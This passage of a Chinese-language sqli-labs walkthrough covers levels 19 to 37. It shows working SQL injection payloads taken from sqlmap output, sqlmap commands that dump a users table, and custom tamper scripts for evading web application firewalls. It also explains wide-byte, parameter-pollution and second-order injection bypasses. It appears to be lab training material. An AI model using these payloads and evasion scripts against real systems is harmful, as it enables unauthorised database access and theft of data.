基于错误的注入,基于 Referer 的注入。

原理是 Referer 也被当做输入插入到 SQL 语句中。

类似于 Less-18,Referer 的自动化检测也需要渗透等级大于等于 3。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
sqlmap identified the following injection point(s) with a total of 5451 HTTP(s) requests:
---
Parameter: Referer (Referer)
Type: boolean-based blind
Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: http://qsdz.vm.szu.moe:8888/Less-19/' RLIKE (SELECT (CASE WHEN (1666=1666) THEN 0x687474703a2f2f7173647a2e766d2e737a752e6d6f653a383838382f4c6573732d31392f ELSE 0x28 END)) AND 'moYA'='moYA

Type: error-based
Title: MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)
Payload: http://qsdz.vm.szu.moe:8888/Less-19/' OR (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x7170627a71,(SELECT (ELT(1530=1530,1))),0x71707a6b71,0x78))s), 8446744073709551610, 8446744073709551610))) AND 'UbVZ'='UbVZ

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: http://qsdz.vm.szu.moe:8888/Less-19/' AND (SELECT 2140 FROM (SELECT(SLEEP(5)))fCFV) AND 'joPY'='joPY
---

sqlmap 成功检测出 Referer 可以被注入。

Less-20

基于错误的注入,基于 Cookie 的注入。

原理是 Cookie 也被当做输入插入到 SQL 语句中。

不同于 Less-18、Less-19,Cookie 是需要设置才会有的,所以保存的请求中必须存在设置的 Cookie。

Cookie 需要在渗透等级大于等于 2 时才会自动检测。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
sqlmap identified the following injection point(s) with a total of 49 HTTP(s) requests:
---
Parameter: uname (Cookie)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: uname=admin' AND 8396=8396 AND 'ikeX'='ikeX

Type: error-based
Title: MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)
Payload: uname=admin' AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x716b766271,(SELECT (ELT(4152=4152,1))),0x7170627a71,0x78))s), 8446744073709551610, 8446744073709551610))) AND 'EdHb'='EdHb

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: uname=admin' AND (SELECT 5357 FROM (SELECT(SLEEP(5)))TOTU) AND 'xOBa'='xOBa

Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: uname=-6815' UNION ALL SELECT NULL,CONCAT(0x716b766271,0x4b5858564e56437957576c6d744d6a656952615a6377425a4e674358426150744565785279584f4a,0x7170627a71),NULL-- -
---

Less-21

基于 base64 编码单引号的 Cookie 注入。

如果说传递的参数不是 base64 形式的,会引发后台报错而无法正常执行 SQL 语句,此时可以使用 tamper 自动化处理 sqlmap 生成的参数。

其中 base64encode 满足我们的需求。

1
sqlmap -r req.txt -b --level 2 --tamper base64encode

Less-22

基于 base64 编码双引号的 Cookie 注入。

与 Less-21 一致。

Less-23

基于错误的注入,含有对注释符的 WAF。

不影响 sqlmap 的自动化注入,与 Less-1 类似。

Less-24

二次注入。

由于网页逻辑较为复杂,不编写任何脚本使用 sqlmap 暂时无法完全自动化注入,这里提供手注思路。

登陆后的页面是修改密码的功能,那么考虑其使用 UPDATE 进行修改密码,那么其中 WHERE 匹配的是目前的用户名,如果说先对目前的用户名进行注入,随后在修改密码的界面提交表单完成注入。

sqlmap 无法进行自动化注入的原因在于,需要先登录获得一个 Cookie 才可以进入修改密码的界面。

那么可以写一个 tamper 脚本,在第一个页面请求的时候,保存注册的用户名和密码(由 sqlmap 提供的攻击负载),在第二个页面请求之前,先用之前保存的用户名和密码请求获取一个 Cookie 保存在文件中,通过 --live-cookies 传递 Cookie。

可以参考 https://book.hacktricks.xyz/pentesting-web/sql-injection/sqlmap/second-order-injection-sqlmap

Less-25

基于错误的注入,含有对 ORAND 的 WAF。

对 sqlmap 的注入有一定影响,因为 or 常出现在正常的单词中,例如 password,此时需要写一个新的 tamper,双写 tamper 脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#!/usr/bin/env python

import re

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.NORMAL

# KEYWORDS = ["ABORT", "ACTION", "ADD", "AFTER", "ALL", "ALTER", "ALWAYS", "ANALYZE", "AND", "AS", "IN", "ASC", "ATTACH", "AUTOINCREMENT", "BEFORE", "BEGIN", "BETWEEN", "CASCADE", "CASE", "CAST", "CHECK", "COLLATE", "COLUMN", "COMMIT", "CONFLICT", "CONSTRAINT", "CREATE", "CROSS", "CURRENT", "CURRENT_DATE", "CURRENT_TIME", "CURRENT_TIMESTAMP", "DATABASE", "DEFAULT", "DEFERRABLE", "DEFERRED", "DELETE", "DESC", "DETACH", "DISTINCT", "DO", "DROP", "EACH", "ELSE", "END", "ESCAPE", "EXCEPT", "EXCLUDE", "EXCLUSIVE", "EXISTS", "EXplaIN", "FAIL", "FILTER", "FIRST", "FOLLOWING", "FOR", "FOREIGN", "FROM", "FULL", "GENERATED", "GLOB", "GROUP", "GROUPS", "HAVING", "IF", "IGNORE", "IMMEDIATE", "INDEX", "INDEXED", "INITIALLY", "INNER","INSERT", "INSTEAD", "INTERSECT", "INTO", "IS", "ISNULL", "JOIN", "KEY", "LAST", "LEFT", "LIKE", "LIMIT", "MATCH", "MATERIALIZED", "NATURAL", "NO", "NOT", "NOTHING", "NOTNULL", "NULL", "NULLS", "OF", "OFFSET", "ON", "OR", "ORDER", "OTHERS", "OUTER", "OVER", "PARTITION", "plaN", "PRAGMA", "PRECEDING", "PRIMARY", "QUERY", "RAISE", "RANGE", "RECURSIVE", "REFERENCES", "REGEXP", "REINDEX", "RELEASE", "RENAME", "REplaCE", "RESTRICT", "RETURNING", "RIGHT", "ROLLBACK", "ROW", "ROWS", "SAVEPOINT", "SELECT", "SET", "TABLE", "TEMP", "TEMPORARY", "THEN", "TIES", "TO", "TRANSACTION", "TRIGGER", "UNBOUNDED", "UNION", "UNIQUE", "UPDATE", "USING", "VACUUM", "VALUES", "VIEW", "VIRTUAL", "WHEN", "WHERE", "WINDOW", "WITH", "WITHOUT"]
KEYWORDS = ["AND", "OR"]

def tamper(payload, **kwargs):
"""
Double-Write keywords (e.g. and -> aandnd)

>>> tamper('and or')
'aandnd oorr'
"""

retVal = payload

if payload:
for keyword in KEYWORDS:
retVal = re.sub(f"(?i)({keyword})", keyword[:1] + keyword + keyword[1:], retVal)

return retVal

由于无脑双写容易造成执行错误,故这里仅指定关键字 ANDOR

将该脚本保存在 ./tamper 目录下,执行下行命令即可。

1
sqlmap -u "http://qsdz.vm.szu.moe:8888/Less-25/?id=1" -D security -T users --dump --tamper doublewrite

Less-25a

双写后与 Less-25 一致。

Less-26

含有对 ORAND 以及空格,注释符的 WAF。

原理是使用其他 MySQL 可解析的空白字符来替代空格,

符号 说明
%09 TAB 键(水平)
%0a 新建一行
%0c 新的一页
%0d return 功能
%0b TAB 键(垂直)
%a0 空格

但是有时针对不同系统,不同版本的管理系统,使用 sqlmap 自带的 space2mysqlblank 可能会出现错误(某些空白字符并不会解析,而该 tamper 是随机选择的),故需要写一个稳定的版本,即

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
#!/usr/bin/env python

"""
Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

import os

from lib.core.common import singleTimeWarnMessage
from lib.core.compat import xrange
from lib.core.enums import DBMS
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))

def tamper(payload, **kwargs):
"""
Replaces (MySQL) instances of space character (' ') with a random blank character from a valid set of alternate characters

Requirement:
* MySQL

Tested against:
* MySQL 5.1

Notes:
* Useful to bypass several web application firewalls

>>> random.seed(0)
>>> tamper('SELECT id FROM users')
'SELECT%A0id%0CFROM%0Dusers'
"""

# ASCII table:
# TAB 09 horizontal TAB
# LF 0A new line
# FF 0C new page
# CR 0D carriage return
# VT 0B vertical TAB (MySQL and Microsoft SQL Server only)
# A0 non-breaking space
blanks = ('%09', '%0A', '%0C', '%0D', '%0B', '%A0')
retVal = payload
bVal = blanks[4]

if payload:
retVal = ""
quote, doublequote, firstspace = False, False, False

for i in xrange(len(payload)):
if not firstspace:
if payload[i].isspace():
firstspace = True
retVal += bVal
continue

elif payload[i] == '\'':
quote = not quote

elif payload[i] == '"':
doublequote = not doublequote

elif payload[i] == " " and not doublequote and not quote:
retVal += bVal
continue

retVal += payload[i]

return retVal

全文复制粘贴自 space2mysqlblank,修改了部分内容,将空白字符设定为固定值,通过修改 bVal 来逐步测试,命名为 space2stablemysqlblank。(这是 sqlmap 的缺点,希望之后可以返回多 payload)

1
sqlmap -u "http://qsdz.vm.szu.moe:8888/Less-26/?id=1" -b --tamper space2stablemysqlblank,doublewrite

Less-26a

类似于 Less-26。

Less-27

含有对 SELECTUNION 以及空格,注释符的 WAF。

由于 SELECTUNION 的过滤对大小写不敏感,于是可以使用自带的 randomcase tamper 进行注入。

1
sqlmap -u "http://qsdz.vm.szu.moe:8888/Less-27/?id=1" -b --tamper space2stablemysqlblank,randomcase

Less-27a

类似于 Less-27,不过要开启渗透等级大于等于 2,因为渗透等级为 1 时不进行双引号闭合测试。

1
sqlmap -u "http://qsdz.vm.szu.moe:8888/Less-27a/?id=1" -b --tamper space2stablemysqlblank,randomcase --level 2

由于开启了 randomcase,盲注时有可能会出现一定错误,需要注意。

Less-28

含有对 SELECT+UNION 以及空格,注释符的 WAF。

与 Less-27 一致。

1
sqlmap -u "http://qsdz.vm.szu.moe:8888/Less-28/?id=1" -b --tamper space2stablemysqlblank,randomcase

Less-28a

与 Less-28 一致。

Less-29

无需任何参数。

实际上利用方式是其 WAF 函数只过滤一个 id 参数就退出,如果说构造一个 GET 参数 ?id=1&id=2,Tomcat JSP 会解析第一个参数,Apache PHP 会解析最后一个参数,那么两个 id 参数即可绕过。

Less-30

闭合方式相比较 Less-29 使用了双引号,所以需要提高渗透等级为 2 以上。

Less-31

与 Less-30 类似。

Less-32

\ 转化为 \\,将 ' 转化为 \',将 " 转化为 \"

原理是使用 %df 将字符转化为宽字节,无法被正则表达式匹配,但可以被数据库管理系统识别。

1
sqlmap -u "http://qsdz.vm.szu.moe:8888/Less-32/?id=1" --dbs --tamper unmagicquotes

Less-33

利用 addslashes 功能实现 Less-32 的过滤方法,解决方法同理。

Less-34

与 Less-33 的过滤方法一致,不过此时是 POST 传参,解决方法同理。

Less-35

与 Less-33 的过滤方法一致,不过此时是整型传参,解决方法同理。

Less-36

使用 mysql_real_escape_string 进行转义,主要针对 \x00\n\r'"\x1a,解决方法同理。

Less-37

与 Less-36 的过滤方法一致,不过此时是 POST 传参,解决方法同理。

数据库软件特点

MySQL

在 MySQL 中,会默认存在两个库 mysqlinformation_schema

其中 information_schema 这个库保存着 MySQL 的所有信息,重要的是,information_schema 包含以下几个重要的表:

  • SCHEMATA → 包含所有 SCHEMA_NAME,即所有的库名,包括本身
  • TABLES → 包含所有 TABLE_NAME,即所有的表名,包括本身
  • COLUMNS → 包含所有的 COLUMN_NAME,即所有的字段名,包括本身

COLUMNS 表里有着几个重要的字段名:

  • TABLE_SCHEMA → 库名
  • TABLE_NAME → 表名
  • COLUMN → 字段名